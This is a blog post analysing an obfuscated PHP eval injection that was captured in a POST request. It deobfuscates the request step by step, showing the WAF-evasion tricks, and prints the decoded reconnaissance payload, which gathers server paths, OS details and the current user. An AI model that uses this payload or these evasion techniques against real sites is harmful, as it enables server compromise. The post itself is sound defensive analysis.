Monday, November 23, 2015

More PHP Injection Obfuscation walk-thru

Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.

POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE


Let's walk through this line by line again.

POST/plus/mytag_js.php?aid=8080

The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.

values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));


The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.

values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));


After removing the comments we're left with this above.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.

values=@eval(${'_POST'}[z9](${'_POST'}[z0]));


Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.

values=@eval($_POST[z9]($_POST[z0]));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.

values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.

values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));


Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode

values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););


Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.



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